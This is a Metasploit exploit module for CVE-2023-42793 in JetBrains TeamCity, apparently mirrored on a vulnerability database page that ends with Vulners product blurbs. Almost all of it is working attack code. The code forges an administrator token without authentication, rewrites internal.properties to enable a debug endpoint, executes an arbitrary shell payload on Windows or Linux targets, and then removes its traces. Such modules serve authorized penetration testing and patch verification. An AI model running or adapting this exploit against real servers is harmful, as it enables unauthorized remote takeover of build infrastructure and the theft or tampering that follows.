`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an authentication bypass vulnerability to achieve unauthenticated remote code execution
against a vulnerable JetBrains TeamCity server. All versions of TeamCity prior to version 2023.05.4 are
vulnerable to this issue. The vulnerability was originally discovered by SonarSource.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-42793'],
['URL', 'https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis'],
['URL', 'https://blog.jetbrains.com/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/']
],
'DisclosureDate' => '2023-09-19',
'Platform' => %w[win linux],
'Arch' => [ARCH_CMD],
'Payload' => { 'Space' => 1024 },
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
'Targets' => [
[
'Windows',
{
'Platform' => 'win'
}
],
[
'Linux',
{
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
# By default TeamCity listens for HTTP requests on TCP port 8111.
Opt::RPORT(8111),
# The first user created during installation is an administrator account, so the ID will be 1.
OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]),
# We modify a configuration file, we need to wait for the changes to be picked up. These options govern how we wait.
OptInt.new('TEAMCITY_CHANGE_TIMEOUT', [true, 'The timeout to wait for the changes to be applied', 30])
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/login.html'
)
return CheckCode::Unknown('Connection failed') unless res
# We expect a TeamCity server to respond with either a "TeamCity-Node-Id" header value or a cookie named "TCSESSIONID".
# In the responses HTML body will be a string containing the release name and build version.
if (res.headers.key?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')) && (res.body =~ /(\d+\.\d+\.\d+) \(build (\d+)\)/)
detected = "JetBrains TeamCity #{::Regexp.last_match(1)} (build #{::Regexp.last_match(2)}) detected."
# The vulnerability was patched in release 2023.05.4 (build 129421) so anything before this build is vulnerable.
if ::Regexp.last_match(2).to_i < 129421
return CheckCode::Vulnerable(detected)
end
return CheckCode::Safe(detected)
end
CheckCode::Unknown
end
def exploit
token_uri = "/app/rest/users/id:#{datastore['TEAMCITY_ADMIN_ID']}/tokens/RPC2"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(token_uri)
)
# A token named 'RPC2' may already exist if this system has been exploited before and previous exploitation
# did not delete teh token after use. We detect that here, delete the token (as we dont know its value) if required
# and then proceed to create a new token for our use.
if res && (res.code == 400) && res.body.include?('Token already exists')
print_status('Token already exists, deleting and generating a new one.')
unless delete_token(token_uri)
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(token_uri)
)
end
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end
begin
token = Nokogiri::XML(res.body).xpath('/token')&.attr('value').to_s
print_status("Created authentication token: #{token}")
print_status('Modifying internal.properties to allow process creation...')
unless modify_internal_properties(token, 'rest.debug.processes.enable', 'true')
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
end
begin
print_status('Executing payload...')
vars_get = {}
# We need to supply multiple params with the same name, so the TeamCity server (A Java Spring framework) can
# construct a List<String> sequence for multiple parameters. We can do this be enabling `compare_by_identity`
# in the Ruby Hash.
vars_get.compare_by_identity
case target['Platform']
when 'win'
vars_get['exePath'] = 'cmd.exe'
vars_get['params'] = '/c'
vars_get['params'] = payload.encoded
when 'linux'
vars_get['exePath'] = '/bin/sh'
vars_get['params'] = '-c'
vars_get['params'] = payload.encoded
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/app/rest/debug/processes'),
'uri_encode_mode' => 'hex-all', # we must encode all characters in the query param for the payload to work.
'headers' => {
'Authorization' => "Bearer #{token}",
'Content-Type' => 'text/plain'
},
'vars_get' => vars_get
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to execute arbitrary process.')
end
ensure
print_status('Resetting the internal.properties settings...')
unless modify_internal_properties(token, 'rest.debug.processes.enable', nil)
fail_with(Failure::UnexpectedReply, 'Failed to modify the internal.properties config file.')
end
end
ensure
print_status('Deleting the authentication token.')
unless delete_token(token_uri)
fail_with(Failure::UnexpectedReply, 'Failed to delete the authentication token.')
end
end
end
def delete_token(token_uri)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(token_uri),
'headers' => {
'Connection' => 'close'
}
)
res&.code == 204
end
def modify_internal_properties(token, key, value)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri('/admin/dataDir.html'),
'headers' => {
'Authorization' => "Bearer #{token}"
},
'vars_get' => {
'action' => 'edit',
'fileName' => 'config/internal.properties',
'content' => value ? "#{key}=#{value}" : ''
}
)
unless res&.code == 200
# If we are using an authentication for a non admin user, we cannot modify the internal.properties file. The
# server will return a 302 redirect if this is the case. Choose a different TEAMCITY_ADMIN_ID and try again.
if res&.code == 302
print_warning('This user is not an administrator, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end
return false
end
print_status('Waiting for configuration change to be applied...')
retry_until_truthy(timeout: datastore['TEAMCITY_CHANGE_TIMEOUT']) do
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri('/admin/admin.html'),
'headers' => {
'Authorization' => "Bearer #{token}",
'Accept' => '*/*'
},
'vars_get' => {
'item' => 'diagnostics',
'tab' => 'properties'
}
)
res&.code == 200 && res.body.include?(key)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation